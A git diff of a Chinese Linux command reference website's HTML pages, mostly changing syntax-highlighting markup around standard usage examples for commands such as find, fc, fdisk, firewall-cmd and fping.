    --u 取消一个或多个目录的共享。
    --f 在“新”模式下,刷新内核共享表之外的任何东西。 任何活动的客户程序将在它们的下次请求中得到 mountd添加的新的共享条目。
    --v 输出详细信息。当共享或者取消共享时,显示在做什么。 显示当前共享列表的时候,同时显示共享的选项。
    +
    -a 打开或取消所有目录共享。
    +-o options,...指定一列共享选项,与 exports(5) 中讲到的类似。
    +-i 忽略 /etc/exports 文件,从而只使用默认的和命令行指定的选项。
    +-r 重新共享所有目录。它使 /var/lib/nfs/xtab 和 /etc/exports 同步。 它将 /etc/exports 中已删除的条目从 /var/lib/nfs/xtab 中删除,将内核共享表中任何不再有效的条目移除。
    +-u 取消一个或多个目录的共享。
    +-f 在“新”模式下,刷新内核共享表之外的任何东西。 任何活动的客户程序将在它们的下次请求中得到 mountd添加的新的共享条目。
    +-v 输出详细信息。当共享或者取消共享时,显示在做什么。 显示当前共享列表的时候,同时显示共享的选项。
     
    - - + + \ No newline at end of file diff --git a/c/expr.html b/c/expr.html index 25fd208329..e26fd4060c 100644 --- a/c/expr.html +++ b/c/expr.html @@ -9,7 +9,7 @@ expr 命令,Linux expr 命令详解:一款表达式计算工具 - Linux 命令搜索引擎 - + @@ -123,7 +123,7 @@ customElements.define('markdown-style', MarkdownStyle);减法运算:-
  • 乘法运算:\*
  • 除法运算:/
  • -
  • 求摸(取余)运算:%
  • +
  • 取模(取余)运算:%
  • 语法

    expr(选项)(参数)
    @@ -143,7 +143,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/false.html b/c/false.html index 9209c7352d..81ac0fdc27 100644 --- a/c/false.html +++ b/c/false.html @@ -9,7 +9,7 @@ false 命令,Linux false 命令详解:返回状态为失败。 - Linux 命令搜索引擎 - + @@ -129,7 +129,7 @@ customElements.define('markdown-style', MarkdownStyle);
  • 该命令是bash内建命令,相关的帮助信息请查看help命令。
  • - - + + \ No newline at end of file diff --git a/c/fc.html b/c/fc.html index c09a5bf8e9..459513b210 100644 --- a/c/fc.html +++ b/c/fc.html @@ -9,7 +9,7 @@ fc 命令,Linux fc 命令详解:显示历史列表中的命令或修改指定的历史命令并执行。 - Linux 命令搜索引擎 - + @@ -117,7 +117,7 @@ customElements.define('markdown-style', MarkdownStyle);显示历史列表中的命令或修改指定的历史命令并执行。

    概要

    fc [-e ename] [-lnr] [first] [last]
    -fc -s [pat=rep] [command]
    +fc -s [pat=rep] [command]
     
    @@ -131,11 +131,11 @@ fc -s [pat=rep] [command]

    选项

    -
    -e ename                  选择使用的编辑器,默认调用次序为环境变量`FCEDIT`、环境变量`EDITOR``vi`。
    --l                        列出而不是编辑。
    --n                        列出时不输出行号(需配合-l选项)。
    --r                        倒序列出命令,最近执行的先列出(需配合-l选项)。
    --s [pat=rep] [command]    command(未指定时为最后执行的命令)将在pat替换为rep后重新执行。
    +
    -e ename                  选择使用的编辑器,默认调用次序为环境变量`FCEDIT`、环境变量`EDITOR``vi`。
    +-l                        列出而不是编辑。
    +-n                        列出时不输出行号(需配合-l选项)。
    +-r                        倒序列出命令,最近执行的先列出(需配合-l选项)。
    +-s [pat=rep] [command]    command(未指定时为最后执行的命令)将在pat替换为rep后重新执行。
     
    # 列出 ~ 目录 ls ~ # 替换 ~ 为 / ,替换后列出根目录, -fc -s ~=/ +fc -s ~=/

    显示最近使用的10条历史命令:

    [root@localhost ~]# fc -l -10
    -1039     type -a grep
    +1039     type -a grep
     1040     export
     1041     history 10
    -1042     ulimit -a
    +1042     ulimit -a
     1043     shopt
     1044     help ls
     1045     help env
     1046     help short
     1047     help shopt
    -1048     showkey -a
    +1048     showkey -a
     
    0&&document.getSelection().getRangeAt(0);o.select();let c=!1;try{c=!!document.execCommand("copy")}catch(e){c=!1}document.body.removeChild(o),n&&document.getSelection&&(document.getSelection().removeAllRanges(),document.getSelection().addRange(n)),t&&t(c)}})); @@ -263,7 +263,7 @@ function copied(target, str) { 581 个Linux命令,超过 50+ 贡献者
    - - + + \ No newline at end of file diff --git a/c/fdisk.html b/c/fdisk.html index 934d732ae2..3b52e2fcaa 100644 --- a/c/fdisk.html +++ b/c/fdisk.html @@ -9,7 +9,7 @@ fdisk 命令,Linux fdisk 命令详解:查看磁盘使用情况和磁盘分区 - Linux 命令搜索引擎 - + @@ -122,14 +122,14 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
     -b <大小>             扇区大小(512、1024、2048或4096)
    +
     -b <大小>             扇区大小(512、1024、2048或4096)
      -c[=<模式>]           兼容模式:“dos”或“nondos”(默认)
    - -h                    打印此帮助文本
    + -h                    打印此帮助文本
      -u[=<单位>]           显示单位:“cylinders”(柱面)或“sectors”(扇区,默认)
    - -v                    打印程序版本
    - -C <数字>             指定柱面数
    - -H <数字>             指定磁头数
    - -S <数字>             指定每个磁道的扇区数
    + -v                    打印程序版本
    + -C <数字>             指定柱面数
    + -H <数字>             指定磁头数
    + -S <数字>             指定每个磁道的扇区数
     
    Writing superblocks and filesystem accounting information: done This filesystem will be automatically checked every 32 mounts or -180 days, whichever comes first. Use tune2fs -c or -i to override. +180 days, whichever comes first. Use tune2fs -c or -i to override.
    Writing superblocks and filesystem accounting information: done This filesystem will be automatically checked every 32 mounts or -180 days, whichever comes first. Use tune2fs -c or -i to override. +180 days, whichever comes first. Use tune2fs -c or -i to override. [root@localhost ~]#
    - - + + \ No newline at end of file diff --git a/c/fg.html b/c/fg.html index b5dfc49279..3e6e6d6c41 100644 --- a/c/fg.html +++ b/c/fg.html @@ -9,7 +9,7 @@ fg 命令,Linux fg 命令详解:将后台作业移动到前台终端运行 - Linux 命令搜索引擎 - + @@ -160,7 +160,7 @@ sleep 60
  • 该命令需要set选项monitor处于开启状态时才能执行;查看作业控制状态:输入set -o查看monitor行;执行set -o monitorset -m开启该选项。
  • 该命令是bash内建命令,相关的帮助信息请查看help命令。
  • - - + + \ No newline at end of file diff --git a/c/fgrep.html b/c/fgrep.html index 158fb9e56f..abaf3609d0 100644 --- a/c/fgrep.html +++ b/c/fgrep.html @@ -9,7 +9,7 @@ fgrep 命令,Linux fgrep 命令详解:为文件搜索文字字符串 - Linux 命令搜索引擎 - + @@ -134,8 +134,8 @@ customElements.define('markdown-style', MarkdownStyle);选项
    -b:在找到的每行之前添加行所在的块编号。使用此标志有助于按照上下文查找磁盘块号码。-b 标志不能用于标准输入或者管道输入。
     -c:仅显示匹配行的计数。
    --e 模式:指定模式。这个工作模式很简单,但当此模式以 a-(减号) 开头时却是很有用的。
    --f StringFile:指定包含字符串的文件。
    +-e 模式:指定模式。这个工作模式很简单,但当此模式以 a-(减号) 开头时却是很有用的。
    +-f StringFile:指定包含字符串的文件。
     -h:当多个文件被处理时隐藏文件名。
     -i:当进行比较时忽略字母的大小写。
     -l:只列出包含匹配行的文件名(一次)。文件名之间用换行符分隔。
    @@ -178,7 +178,7 @@ n:将文件中每行的相对行号置于行前。
     " class="copied">

    在当前目录下所有以 .c 字符串结尾的文件中搜索字符串 strcpy。

    计数匹配某模式的行数:

    -
    fgrep -c 『{』pgm.cfgrep -c 『}』pgm.c
    +
    fgrep -c{』pgm.cfgrep -c}』pgm.c
     

    显示在 pgm.c 中包含左括号和右括号的行的数目。

    @@ -187,11 +187,11 @@ n:将文件中每行的相对行号置于行前。

    显示包含某模式的文件名:

    -
    fgrep -l strcpy *.c
    +
    fgrep -l strcpy *.c
     

    搜索当前目录下以 .c 结尾的文件,然后显示包含 strcpy 字符串的文件名。

    - - + + \ No newline at end of file diff --git a/c/file.html b/c/file.html index 30630b43d8..67c915ad7f 100644 --- a/c/file.html +++ b/c/file.html @@ -9,7 +9,7 @@ file 命令,Linux file 命令详解:用来探测给定文件的类型 - Linux 命令搜索引擎 - + @@ -194,7 +194,7 @@ lrwxrwxrwx 1 root root 10 08-13 00:11 /var/mail -> spool/mail [root@localhost ~]# file -L /var/spool/mail /var/spool/mail: directory " class="copied">
    - - + + \ No newline at end of file diff --git a/c/find.html b/c/find.html index 6e97524492..59bfbc5f38 100644 --- a/c/find.html +++ b/c/find.html @@ -9,7 +9,7 @@ find 命令,Linux find 命令详解:在指定目录下查找文件 - Linux 命令搜索引擎 - + @@ -237,7 +237,7 @@ customElements.define('markdown-style', MarkdownStyle);起始目录:查找文件的起始目录。

    实例

    # 当前目录搜索所有文件,文件内容 包含 “140.206.111.111” 的内容
    -find . -type f -name "*" | xargs grep "140.206.111.111"
    +find . -type f -name "*" | xargs grep "140.206.111.111"
     
    @@ -247,19 +247,19 @@ find . -type f -name "*" | xargs grep "140.206.111.111"

    /home目录下查找以.txt结尾的文件名

    -
    find /home -name "*.txt"
    +
    find /home -name "*.txt"
     

    同上,但忽略大小写

    -
    find /home -iname "*.txt"
    +
    find /home -iname "*.txt"
     

    当前目录及子目录下查找所有以.txt和.pdf结尾的文件

    -
    find . \( -name "*.txt" -o -name "*.pdf" \)
    +
    find . \( -name "*.txt" -o -name "*.pdf" \)
     
     
    -find . -name "*.txt" -o -name "*.pdf"
    +find . -name "*.txt" -o -name "*.pdf"
     

    匹配文件路径或者文件

    -
    find /usr/ -path "*local*"
    +
    find /usr/ -path "*local*"
     

    基于正则表达式匹配文件路径

    -
    find . -regex ".*\(\.txt\|\.pdf\)$"
    +
    find . -regex ".*\(\.txt\|\.pdf\)$"
     

    同上,但忽略大小写

    -
    find . -iregex ".*\(\.txt\|\.pdf\)$"
    +
    find . -iregex ".*\(\.txt\|\.pdf\)$"
     

    否定参数

    找出/home下不是以.txt结尾的文件

    -
    find /home ! -name "*.txt"
    +
    find /home ! -name "*.txt"
     

    根据文件类型进行搜索

    -
    find . -type 类型参数
    +
    find . -type 类型参数
     

    类型参数列表:

    @@ -299,15 +299,15 @@ find . -name "*.txt" -o -name "*.pdf"

    基于目录深度搜索

    向下最大深度限制为3

    -
    find . -maxdepth 3 -type f
    +
    find . -maxdepth 3 -type f
     

    搜索出深度距离当前目录至少2个子目录的所有文件

    -
    find . -mindepth 2 -type f
    +
    find . -mindepth 2 -type f
     

    根据文件时间戳进行搜索

    -
    find . -type f 时间戳
    +
    find . -type f 时间戳
     

    UNIX/Linux文件系统每个文件都有三种时间戳:

    @@ -317,27 +317,27 @@ find . -name "*.txt" -o -name "*.pdf"
  • 变化时间 (-ctime/天,-cmin/分钟):文件数据元(例如权限等)最后一次修改时间。
  • 搜索最近七天内被访问过的所有文件

    -
    find . -type f -atime -7
    +
    find . -type f -atime -7
     

    搜索恰好在七天前被访问过的所有文件

    -
    find . -type f -atime 7
    +
    find . -type f -atime 7
     

    搜索超过七天内被访问过的所有文件

    -
    find . -type f -atime +7
    +
    find . -type f -atime +7
     

    搜索访问时间超过10分钟的所有文件

    -
    find . -type f -amin +10
    +
    find . -type f -amin +10
     

    找出比file.log修改时间更长的所有文件

    -
    find . -type f -newer file.log
    +
    find . -type f -newer file.log
     

    根据文件大小进行匹配

    -
    find . -type f -size 文件大小单元
    +
    find . -type f -size 文件大小单元
     

    文件大小单元:

    @@ -350,76 +350,76 @@ find . -name "*.txt" -o -name "*.pdf"
  • G —— 吉字节
  • 搜索大于10KB的文件

    -
    find . -type f -size +10k
    +
    find . -type f -size +10k
     

    搜索小于10KB的文件

    -
    find . -type f -size -10k
    +
    find . -type f -size -10k
     

    搜索等于10KB的文件

    -
    find . -type f -size 10k
    +
    find . -type f -size 10k
     

    删除匹配文件

    删除当前目录下所有.txt文件

    -
    find . -type f -name "*.txt" -delete
    +
    find . -type f -name "*.txt" -delete
     

    根据文件权限/所有权进行匹配

    当前目录下搜索出权限为777的文件

    -
    find . -type f -perm 777
    +
    find . -type f -perm 777
     

    找出当前目录下权限不是644的php文件

    -
    find . -type f -name "*.php" ! -perm 644
    +
    find . -type f -name "*.php" ! -perm 644
     

    找出当前目录用户tom拥有的所有文件

    -
    find . -type f -user tom
    +
    find . -type f -user tom
     

    找出当前目录用户组sunk拥有的所有文件

    -
    find . -type f -group sunk
    +
    find . -type f -group sunk
     

    借助-exec选项与其他命令结合使用

    找出当前目录下所有root的文件,并把所有权更改为用户tom

    -
    find .-type f -user root -exec chown tom {} \;
    +
    find .-type f -user root -exec chown tom {} \;
     

    上例中, {} 用于与 -exec 选项结合使用来匹配所有文件,然后会被替换为相应的文件名。

    找出自己家目录下所有的.txt文件并删除

    -
    find $HOME/. -name "*.txt" -ok rm {} \;
    +
    find $HOME/. -name "*.txt" -ok rm {} \;
     

    上例中, -ok-exec 行为一样,不过它会给出提示,是否执行相应的操作。

    查找当前目录下所有.txt文件并把他们拼接起来写入到all.txt文件中

    -
    find . -type f -name "*.txt" -exec cat {} \;> /all.txt
    +
    find . -type f -name "*.txt" -exec cat {} \;> /all.txt
     

    将30天前的.log文件移动到old目录中

    -
    find . -type f -mtime +30 -name "*.log" -exec cp {} old \;
    +
    find . -type f -mtime +30 -name "*.log" -exec cp {} old \;
     

    找出当前目录下所有.txt文件并以“File:文件名”的形式打印出来

    -
    find . -type f -name "*.txt" -exec printf "File: %s\n" {} \;
    +
    find . -type f -name "*.txt" -exec printf "File: %s\n" {} \;
     

    因为单行命令中-exec参数中无法使用多个命令,以下方法可以实现在-exec之后接受多条命令

    -
    -exec ./text.sh {} \;
    +
    -exec ./text.sh {} \;
     

    搜索但跳过指定的目录

    查找当前目录或者子目录下所有.txt文件,但是跳过子目录sk

    -
    find . -path "./sk" -prune -o -name "*.txt" -print
    +
    find . -path "./sk" -prune -o -name "*.txt" -print
     

    ⚠️ ./sk 不能写成 ./sk/ ,否则没有作用。

    忽略两个目录

    -
    find . \( -path ./sk -o  -path ./st \) -prune -o -name "*.txt" -print
    +
    find . \( -path ./sk -o  -path ./st \) -prune -o -name "*.txt" -print
     
    @@ -427,15 +427,15 @@ find . -name "*.txt" -o -name "*.pdf"

    find其他技巧收集

    要列出所有长度为零的文件

    -
    find . -empty
    +
    find . -empty
     

    其它实例

    -
    find ~ -name '*jpg' # 主目录中找到所有的 jpg 文件。 -name 参数允许你将结果限制为与给定模式匹配的文件。
    -find ~ -iname '*jpg' # -iname 就像 -name,但是不区分大小写
    -find ~ ( -iname 'jpeg' -o -iname 'jpg' ) # 一些图片可能是 .jpeg 扩展名。幸运的是,我们可以将模式用“或”(表示为 -o)来组合。
    -find ~ \( -iname '*jpeg' -o -iname '*jpg' \) -type f # 如果你有一些以 jpg 结尾的目录呢? (为什么你要命名一个 bucketofjpg 而不是 pictures 的目录就超出了本文的范围。)我们使用 -type 参数修改我们的命令来查找文件。
    -find ~ \( -iname '*jpeg' -o -iname '*jpg' \) -type d # 也许你想找到那些命名奇怪的目录,以便稍后重命名它们
    +
    find ~ -name '*jpg' # 主目录中找到所有的 jpg 文件。 -name 参数允许你将结果限制为与给定模式匹配的文件。
    +find ~ -iname '*jpg' # -iname 就像 -name,但是不区分大小写
    +find ~ ( -iname 'jpeg' -o -iname 'jpg' ) # 一些图片可能是 .jpeg 扩展名。幸运的是,我们可以将模式用“或”(表示为 -o)来组合。
    +find ~ \( -iname '*jpeg' -o -iname '*jpg' \) -type f # 如果你有一些以 jpg 结尾的目录呢? (为什么你要命名一个 bucketofjpg 而不是 pictures 的目录就超出了本文的范围。)我们使用 -type 参数修改我们的命令来查找文件。
    +find ~ \( -iname '*jpeg' -o -iname '*jpg' \) -type d # 也许你想找到那些命名奇怪的目录,以便稍后重命名它们
     

    最近拍了很多照片,所以让我们把它缩小到上周更改的文件

    -
    find ~ \( -iname '*jpeg' -o -iname '*jpg' \) -type f -mtime -7
    +
    find ~ \( -iname '*jpeg' -o -iname '*jpg' \) -type f -mtime -7
     

    你可以根据文件状态更改时间 (ctime)、修改时间 (mtime) 或访问时间 (atime) 来执行时间过滤。 这些是在几天内,所以如果你想要更细粒度的控制,你可以表示为在几分钟内(分别是 cmin、mmin 和 amin)。 除非你确切地知道你想要的时间,否则你可能会在 + (大于)或 - (小于)的后面加上数字。

    但也许你不关心你的照片。也许你的磁盘空间不够用,所以你想在 log 目录下找到所有巨大的(让我们定义为“大于 1GB”)文件:

    -
    find /var/log -size +1G
    +
    find /var/log -size +1G
     

    或者,也许你想在 /data 中找到 bcotton 拥有的所有文件:

    -
    find /data -owner bcotton
    +
    find /data -owner bcotton
     

    你还可以根据权限查找文件。也许你想在你的主目录中找到对所有人可读的文件,以确保你不会过度分享。

    -
    find ~ -perm -o=r
    +
    find ~ -perm -o=r
     

    删除 mac 下自动生成的文件

    -
    find ./ -name '__MACOSX' -depth -exec rm -rf {} \;
    +
    find ./ -name '__MACOSX' -depth -exec rm -rf {} \;
     

    统计代码行数

    -
    find . -name "*.java"|xargs cat|grep -v ^$|wc -l # 代码行数统计, 排除空行
    +
    find . -name "*.java"|xargs cat|grep -v ^$|wc -l # 代码行数统计, 排除空行
     
    - - + + \ No newline at end of file diff --git a/c/findfs.html b/c/findfs.html index f332902f03..c3f98ca43b 100644 --- a/c/findfs.html +++ b/c/findfs.html @@ -9,7 +9,7 @@ findfs 命令,Linux findfs 命令详解:标签或UUID查找文件系统 - Linux 命令搜索引擎 - + @@ -130,7 +130,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/finger.html b/c/finger.html index d0c9b7b35d..06dcd64323 100644 --- a/c/finger.html +++ b/c/finger.html @@ -9,7 +9,7 @@ finger 命令,Linux finger 命令详解:用于查找并显示用户信息 - Linux 命令搜索引擎 - + @@ -148,7 +148,7 @@ root root pts/0 1 Dec 18 13 root root *pts/1 Dec 18 13 " class="copied">

    如果要查询远程机上的用户信息,需要在用户名后面接@主机名,采用用户名@主机名的格式,不过要查询的网络主机需要运行finger守护进程的支持。

    - - + + \ No newline at end of file diff --git a/c/firewall-cmd.html b/c/firewall-cmd.html index 0a7459c9c1..cabafbf79b 100644 --- a/c/firewall-cmd.html +++ b/c/firewall-cmd.html @@ -9,7 +9,7 @@ firewall-cmd 命令,Linux firewall-cmd 命令详解:Linux上新用的防火墙软件,跟iptables差不多的工具 - Linux 命令搜索引擎 - + @@ -129,16 +129,16 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    通用选项

    -
    -h, --help    # 显示帮助信息;
    --V, --version # 显示版本信息. (这个选项不能与其他选项组合);
    --q, --quiet   # 不打印状态消息;
    +
    -h, --help    # 显示帮助信息;
    +-V, --version # 显示版本信息. (这个选项不能与其他选项组合);
    +-q, --quiet   # 不打印状态消息;
     

    状态选项

    -
    --state                # 显示firewalld的状态;
    ---reload               # 不中断服务的重新加载;
    +
    --state                # 显示firewalld的状态;
    +--reload               # 不中断服务的重新加载;
     --complete-reload      # 中断所有连接的重新加载;
     --runtime-to-permanent # 将当前防火墙的规则永久保存;
     --check-config         # 检查配置正确性;
    @@ -191,41 +191,41 @@ systemctl start iptables
     systemctl enable iptables
     " class="copied">

    配置firewalld

    -
    firewall-cmd --version  # 查看版本
    -firewall-cmd --help     # 查看帮助
    +
    firewall-cmd --version  # 查看版本
    +firewall-cmd --help     # 查看帮助
     
     # 查看设置:
    -firewall-cmd --state  # 显示状态
    +firewall-cmd --state  # 显示状态
     firewall-cmd --get-active-zones  # 查看区域信息
     firewall-cmd --get-zone-of-interface=eth0  # 查看指定接口所属区域
     firewall-cmd --panic-on  # 拒绝所有包
     firewall-cmd --panic-off  # 取消拒绝状态
     firewall-cmd --query-panic  # 查看是否拒绝
     
    -firewall-cmd --reload # 更新防火墙规则
    +firewall-cmd --reload # 更新防火墙规则
     firewall-cmd --complete-reload
     # 两者的区别就是第一个无需断开连接,就是firewalld特性之一动态添加规则,第二个需要断开连接,类似重启服务
     
     
     # 将接口添加到区域,默认接口都在public
    -firewall-cmd --zone=public --add-interface=eth0
    +firewall-cmd --zone=public --add-interface=eth0
     # 永久生效再加上 --permanent 然后reload防火墙
      
     # 设置默认接口区域,立即生效无需重启
     firewall-cmd --set-default-zone=public
     
     # 查看所有打开的端口:
    -firewall-cmd --zone=dmz --list-ports
    +firewall-cmd --zone=dmz --list-ports
     
     # 加入一个端口到区域:
    -firewall-cmd --zone=dmz --add-port=8080/tcp
    +firewall-cmd --zone=dmz --add-port=8080/tcp
     # 若要永久生效方法同上
      
     # 打开一个服务,类似于将端口可视化,服务需要在配置文件中添加,/etc/firewalld 目录下有services文件夹,这个不详细说了,详情参考文档
    -firewall-cmd --zone=work --add-service=smtp
    +firewall-cmd --zone=work --add-service=smtp
      
     # 移除服务
    -firewall-cmd --zone=work --remove-service=smtp
    +firewall-cmd --zone=work --remove-service=smtp
     
     # 显示支持的区域列表
     firewall-cmd --get-zones
    @@ -240,13 +240,13 @@ systemctl enable iptables
     firewall-cmd --get-zone-of-interface=enp03s
     
     # 显示所有公共区域(public)
    -firewall-cmd --zone=public --list-all
    +firewall-cmd --zone=public --list-all
     
     # 临时修改网络接口(enp0s3)为内部区域(internal)
    -firewall-cmd --zone=internal --change-interface=enp03s
    +firewall-cmd --zone=internal --change-interface=enp03s
     
     # 永久修改网络接口enp03s为内部区域(internal)
    -firewall-cmd --permanent --zone=internal --change-interface=enp03s
    +firewall-cmd --permanent --zone=internal --change-interface=enp03s
     
    firewall-cmd --delete-service=ssh # 打开TCP的8080端口 -firewall-cmd --enable ports=8080/tcp +firewall-cmd --enable ports=8080/tcp # 临时允许Samba服务通过600秒 -firewall-cmd --enable service=samba --timeout=600 +firewall-cmd --enable service=samba --timeout=600 # 显示当前服务 firewall-cmd --list-services # 添加HTTP服务到内部区域(internal) -firewall-cmd --permanent --zone=internal --add-service=http -firewall-cmd --reload # 在不改变状态的条件下重新加载防火墙 +firewall-cmd --permanent --zone=internal --add-service=http +firewall-cmd --reload # 在不改变状态的条件下重新加载防火墙
    firewall-cmd --add-port=443/tcp # 永久打开3690/TCP端口 -firewall-cmd --permanent --add-port=3690/tcp +firewall-cmd --permanent --add-port=3690/tcp # 永久打开端口好像需要reload一下,临时打开好像不用,如果用了reload临时打开的端口就失效了 # 其它服务也可能是这样的,这个没有测试 -firewall-cmd --reload +firewall-cmd --reload # 查看防火墙,添加的端口也可以看到 firewall-cmd --list-all @@ -381,8 +381,8 @@ firewall-cmd --list-all

    直接模式

    # FirewallD包括一种直接模式,使用它可以完成一些工作,例如打开TCP协议的9999端口
     
    -firewall-cmd --direct -add-rule ipv4 filter INPUT 0 -p tcp --dport 9000 -j ACCEPT
    -firewall-cmd --reload
    +firewall-cmd --direct -add-rule ipv4 filter INPUT 0 -p tcp --dport 9000 -j ACCEPT
    +firewall-cmd --reload
     
    显示该服务的相关信息 --path-service=<服务名> 显示该服务的文件的相关路径 [P only] ---service=<服务名> --set-description=<描述> +--service=<服务名> --set-description=<描述> 给该服务设置描述信息 [P only] ---service=<服务名> --get-description +--service=<服务名> --get-description 显示该服务的描述信息 [P only] ---service=<服务名> --set-short=<描述> +--service=<服务名> --set-short=<描述> 给该服务设置一个简短的描述 [P only] ---service=<服务名> --get-short +--service=<服务名> --get-short 显示该服务的简短描述 [P only] ---service=<服务名> --add-port=<端口号>[-<端口号>]/<protocol> +--service=<服务名> --add-port=<端口号>[-<端口号>]/<protocol> 给该服务添加一个新的端口(端口段) [P only] ---service=<服务名> --remove-port=<端口号>[-<端口号>]/<protocol> +--service=<服务名> --remove-port=<端口号>[-<端口号>]/<protocol> 从该服务上移除一个端口(端口段) [P only] ---service=<服务名> --query-port=<端口号>[-<端口号>]/<protocol> +--service=<服务名> --query-port=<端口号>[-<端口号>]/<protocol> 查询该服务是否添加了某个端口(端口段) [P only] ---service=<服务名> --get-ports +--service=<服务名> --get-ports 显示该服务添加的所有端口 [P only] ---service=<服务名> --add-protocol=<protocol> +--service=<服务名> --add-protocol=<protocol> 为该服务添加一个协议 [P only] ---service=<服务名> --remove-protocol=<protocol> +--service=<服务名> --remove-protocol=<protocol> 从该服务上移除一个协议 [P only] ---service=<服务名> --query-protocol=<protocol> +--service=<服务名> --query-protocol=<protocol> 查询该服务是否添加了某个协议 [P only] ---service=<服务名> --get-protocols +--service=<服务名> --get-protocols 显示该服务添加的所有协议 [P only] ---service=<服务名> --add-source-port=<端口号>[-<端口号>]/<protocol> +--service=<服务名> --add-source-port=<端口号>[-<端口号>]/<protocol> 添加新的源端口(端口段)到该服务 [P only] ---service=<服务名> --remove-source-port=<端口号>[-<端口号>]/<protocol> +--service=<服务名> --remove-source-port=<端口号>[-<端口号>]/<protocol> 从该服务中删除源端口(端口段) [P only] ---service=<服务名> --query-source-port=<端口号>[-<端口号>]/<protocol> +--service=<服务名> --query-source-port=<端口号>[-<端口号>]/<protocol> 查询该服务是否添加了某个源端口(端口段) [P only] ---service=<服务名> --get-source-ports +--service=<服务名> --get-source-ports 显示该服务所有源端口 [P only] ---service=<服务名> --add-module=<module> +--service=<服务名> --add-module=<module> 为该服务添加一个模块 [P only] ---service=<服务名> --remove-module=<module> +--service=<服务名> --remove-module=<module> 为该服务移除一个模块 [P only] ---service=<服务名> --query-module=<module> +--service=<服务名> --query-module=<module> 查询该服务是否添加了某个模块 [P only] ---service=<服务名> --get-modules +--service=<服务名> --get-modules 显示该服务添加的所有模块 [P only] ---service=<服务名> --set-destination=<ipv>:<address>[/<mask>] +--service=<服务名> --set-destination=<ipv>:<address>[/<mask>] Set destination for ipv to address in service [P only] ---service=<服务名> --remove-destination=<ipv> +--service=<服务名> --remove-destination=<ipv> Disable destination for ipv i service [P only] ---service=<服务名> --query-destination=<ipv>:<address>[/<mask>] +--service=<服务名> --query-destination=<ipv>:<address>[/<mask>] Return whether destination ipv is set for service [P only] ---service=<服务名> --get-destinations +--service=<服务名> --get-destinations List destinations in service [P only]
    0&&document.getSelection().getRangeAt(0);o.select();let c=!1;try{c=!!document.execCommand("copy")}catch(e){c=!1}document.body.removeChild(o),n&&document.getSelection&&(document.getSelection().removeAllRanges(),document.getSelection().addRange(n)),t&&t(c)}})); @@ -653,7 +653,7 @@ function copied(target, str) { 581 个Linux命令,超过 50+ 贡献者
    - - + + \ No newline at end of file diff --git a/c/fishshell.html b/c/fishshell.html index 19efcd65b7..3f8c599580 100644 --- a/c/fishshell.html +++ b/c/fishshell.html @@ -9,7 +9,7 @@ fishshell 命令,Linux fishshell 命令详解:比 bash 更好用的 shell - Linux 命令搜索引擎 - + @@ -220,7 +220,7 @@ end

    函数

    Fish 的函数用来封装命令,或者为现有的命令起别名。

    function ll
    -    ls -lhG $argv
    +    ls -lhG $argv
     end
     

    上面代码定义了一个 ll 函数。命令行执行这个函数以后,就可以用 ll 命令替代 ls -lhG。其中,变量 $argv 表示函数的参数。

    function ls
    -    command ls -hG $argv
    +    command ls -hG $argv
     end
     
    echo $name echo $status # exit status,替代 $? env # 环境变量 -set -x MyVariable SomeValue # 替代 export -set -e MyVariable +set -x MyVariable SomeValue # 替代 export +set -e MyVariable set PATH $PATH /usr/local/bin # 使用 lists 记录 PATH -set -U fish_user_paths /usr/local/bin $fish_user_paths # 永久生效 +set -U fish_user_paths /usr/local/bin $fish_user_paths # 永久生效 touch "testing_"(date +%s)".txt" # command subtitution,替代 `date +%s` cp file.txt file.txt.bak; and echo 'back success'; or echo 'back fail' # combiner functions # 列出 fish 下定义的函数 @@ -291,7 +291,7 @@ functions # 列出 fish 下定义的函数 - - + + \ No newline at end of file diff --git a/c/fmt.html b/c/fmt.html index 7ce1c8c3b6..ed4ca117a7 100644 --- a/c/fmt.html +++ b/c/fmt.html @@ -9,7 +9,7 @@ fmt 命令,Linux fmt 命令详解:读取文件后优化处理并输出 - Linux 命令搜索引擎 - + @@ -137,7 +137,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    指定要优化格式的文件。

    - - + + \ No newline at end of file diff --git a/c/fold.html b/c/fold.html index d07cbde0e2..e7b93068ae 100644 --- a/c/fold.html +++ b/c/fold.html @@ -9,7 +9,7 @@ fold 命令,Linux fold 命令详解:控制文件内容输出时所占用的屏幕宽度 - Linux 命令搜索引擎 - + @@ -132,10 +132,10 @@ customElements.define('markdown-style', MarkdownStyle);参数

    文件:指定要显示内容的文件。

    示例

    -
    fold -w 5 filename
    +
    fold -w 5 filename
     
    - - + + \ No newline at end of file diff --git a/c/fping.html b/c/fping.html index aafb867c11..aff899cd9a 100644 --- a/c/fping.html +++ b/c/fping.html @@ -9,7 +9,7 @@ fping 命令,Linux fping 命令详解:fping检测主机是否存在 - Linux 命令搜索引擎 - + @@ -122,13 +122,13 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -a  # 显示存活的主机
    --b  # ping 数据包的大小。(默认为56)
    --c  # ping每个目标的次数 (默认为1)
    --f  # 从文件获取目标列表(不能与 -g 同时使用)
    --l  # 循环发送ping
    --g  # 通过指定开始和结束地址来生成目标列表,可以使网段
    --u  # 显示不可到达的目标
    +
    -a  # 显示存活的主机
    +-b  # ping 数据包的大小。(默认为56)
    +-c  # ping每个目标的次数 (默认为1)
    +-f  # 从文件获取目标列表(不能与 -g 同时使用)
    +-l  # 循环发送ping
    +-g  # 通过指定开始和结束地址来生成目标列表,可以使网段
    +-u  # 显示不可到达的目标
     
    实例

    安装fping命令:

    # 先安装epel源:
    -yum install epel* -y
    +yum install epel* -y
     # 安装fping包:
    -yum install fping -y
    +yum install fping -y
     
    - - + + \ No newline at end of file diff --git a/c/free.html b/c/free.html index 9d50770db6..d62f692778 100644 --- a/c/free.html +++ b/c/free.html @@ -9,7 +9,7 @@ free 命令,Linux free 命令详解:显示内存的使用情况 - Linux 命令搜索引擎 - + @@ -122,14 +122,14 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -b # 以Byte为单位显示内存使用情况;
    --k # 以KB为单位显示内存使用情况;
    --m # 以MB为单位显示内存使用情况;
    --g # 以GB为单位显示内存使用情况。 
    --o # 不显示缓冲区调节列;
    +
    -b # 以Byte为单位显示内存使用情况;
    +-k # 以KB为单位显示内存使用情况;
    +-m # 以MB为单位显示内存使用情况;
